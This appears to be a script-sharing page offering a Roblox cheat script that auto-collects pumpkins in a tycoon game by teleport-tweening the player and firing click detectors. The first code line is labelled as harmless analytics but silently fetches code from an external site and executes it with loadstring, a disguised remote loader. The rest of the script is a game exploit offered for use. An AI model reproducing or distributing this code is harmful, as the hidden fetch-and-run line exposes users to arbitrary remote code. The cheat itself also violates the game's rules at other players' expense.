Car Dealership Tycoon Script 2026 – Auto Farm Pumpkins

MMindOuutabout 3 hours ago
  • Open source
Play Game

Quick Actions

Description

  • Turn Auto-Farm on to start collecting pumpkins.

  • Let the script handle pumpkin farming without needing to collect them manually.

  • Use the Auto-Farm button to turn the feature on or off.

  • Exclude your current location if you don't want the script to farm there.

  • Check the status display to see how many pumpkins are left to collect.

  • Keep track of your collection progress while the auto-farm is running.

Features

3 Features
  • Auto Farm Pumpkins
  • Exclude Current Location
  • Collection Status Display
171 lines•6068 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/N7HIYmRr?v=1"))()end);--=== Does not affect the script ===--local Workspace = game:GetService("Workspace")local Players = game:GetService("Players")local TweenService = game:GetService("TweenService")local LP = Players.LocalPlayerlocal CONFIG = {    Enabled = false,    FlySpeed = 300,    MaxSize = 10,    WaitTime = 30,}local blacklistedZones = {}local sg = Instance.new("ScreenGui")sg.Name = "PumpkinFarmGUI"sg.ResetOnSpawn = falsesg.Parent = LP:WaitForChild("PlayerGui")local frame = Instance.new("Frame")frame.Size = UDim2.new(0, 220, 0, 140)frame.Position = UDim2.new(0.5, -110, 0, 50)frame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)frame.BorderSizePixel = 2frame.BorderColor3 = Color3.fromRGB(255, 140, 0)frame.Parent = sglocal btnAutoFarm = Instance.new("TextButton")btnAutoFarm.Size = UDim2.new(1, -20, 0, 45)btnAutoFarm.Position = UDim2.new(0, 10, 0, 10)btnAutoFarm.BackgroundColor3 = Color3.fromRGB(200, 50, 50)btnAutoFarm.TextColor3 = Color3.fromRGB(255, 255, 255)btnAutoFarm.Font = Enum.Font.SourceSansBoldbtnAutoFarm.TextSize = 18btnAutoFarm.Text = "AUTO-FARM: OFF"btnAutoFarm.Parent = framelocal btnExclude = Instance.new("TextButton")btnExclude.Size = UDim2.new(1, -20, 0, 45)btnExclude.Position = UDim2.new(0, 10, 0, 65)btnExclude.BackgroundColor3 = Color3.fromRGB(255, 140, 0)btnExclude.TextColor3 = Color3.fromRGB(255, 255, 255)btnExclude.Font = Enum.Font.SourceSansBoldbtnExclude.TextSize = 16btnExclude.Text = "EXCLUDE THIS PLACE"btnExclude.Parent = framelocal statusLabel = Instance.new("TextLabel")statusLabel.Size = UDim2.new(1, -20, 0, 30)statusLabel.Position = UDim2.new(0, 10, 0, 115)statusLabel.BackgroundTransparency = 1statusLabel.TextColor3 = Color3.fromRGB(200, 200, 200)statusLabel.Font = Enum.Font.SourceSansstatusLabel.TextSize = 14statusLabel.Text = "Status: Waiting..."statusLabel.Parent = framebtnAutoFarm.MouseButton1Click:Connect(function()    CONFIG.Enabled = not CONFIG.Enabled    btnAutoFarm.Text = CONFIG.Enabled and "AUTO-FARM: ON" or "AUTO-FARM: OFF"    btnAutoFarm.BackgroundColor3 = CONFIG.Enabled and Color3.fromRGB(50, 200, 50) or Color3.fromRGB(200, 50, 50)end)btnExclude.MouseButton1Click:Connect(function()    local char = LP.Character    if char and char:FindFirstChild("HumanoidRootPart") then        table.insert(blacklistedZones, char.HumanoidRootPart.Position)        btnExclude.Text = "ZONE ADDED!"        task.wait(1)        btnExclude.Text = "EXCLUDE THIS PLACE"    endend)local function isBlacklisted(pos)    for _, zone in ipairs(blacklistedZones) do        if (pos - zone).Magnitude < 150 then return true end    end    return falseendlocal function isRealPumpkin(obj)    local name = obj.Name:lower()    local parentName = obj.Parent and obj.Parent.Name:lower() or ""        local nameMatch = name:find("pumpkin") or name:find("halloween") or name:find("jack") or                      parentName:find("pumpkin")                          local hasInteractive = obj:FindFirstChildOfClass("ClickDetector") or                            obj:FindFirstChildOfClass("ProximityPrompt") or                           (obj.Parent and obj.Parent:FindFirstChildOfClass("ClickDetector"))                               return nameMatch or hasInteractiveendlocal function findPumpkins()    local list = {}    for _, child in ipairs(Workspace:GetDescendants()) do        if child:IsA("BasePart") or child:IsA("MeshPart") then            local s = child.Size            if math.max(s.X, s.Y, s.Z) <= CONFIG.MaxSize                and not child:IsDescendantOf(LP.Character)                and not isBlacklisted(child.Position)               and isRealPumpkin(child) then                table.insert(list, child)            end        end    end    return listendlocal function flyTo(target)    local char = LP.Character    if not char then return end    local hrp = char:FindFirstChild("HumanoidRootPart")    if not hrp then return end    local dist = (target.Position - hrp.Position).Magnitude    local duration = math.clamp(dist / CONFIG.FlySpeed, 0.1, 3)        local tween = TweenService:Create(hrp, TweenInfo.new(duration, Enum.EasingStyle.Linear), {CFrame = CFrame.new(target.Position + Vector3.new(0, 2, 0))})    tween:Play()    tween.Completed:Wait()        local click = target:FindFirstChildOfClass("ClickDetector") or (target.Parent and target.Parent:FindFirstChildOfClass("ClickDetector"))    if click and fireclickdetector then        fireclickdetector(click)    endendtask.spawn(function()    while true do        if CONFIG.Enabled then            local pumpkins = findPumpkins()                        if #pumpkins > 0 then                local hrp = LP.Character and LP.Character:FindFirstChild("HumanoidRootPart")                if hrp then                    table.sort(pumpkins, function(a, b)                        return (a.Position - hrp.Position).Magnitude < (b.Position - hrp.Position).Magnitude                    end)                end                                for _, p in ipairs(pumpkins) do                    if not CONFIG.Enabled then break end                    if p.Parent then                        statusLabel.Text = "Status: Collecting (" .. #pumpkins .. " left)"                        flyTo(p)                        task.wait(0.3)                    end                end            else                statusLabel.Text = "Status: Waiting respawn (30s)"                local timeLeft = CONFIG.WaitTime                while timeLeft > 0 and CONFIG.Enabled do                    statusLabel.Text = "Status: Waiting respawn (" .. timeLeft .. "s)"                    task.wait(1)                    timeLeft = timeLeft - 1                end            end        else            statusLabel.Text = "Status: Off"            task.wait(0.5)        end        task.wait(0.5)    endend)

Comments

0

Did it work for you? Sign in to share your experience.

Sign in to comment

No comments yet

Tried it? Let others know if it works.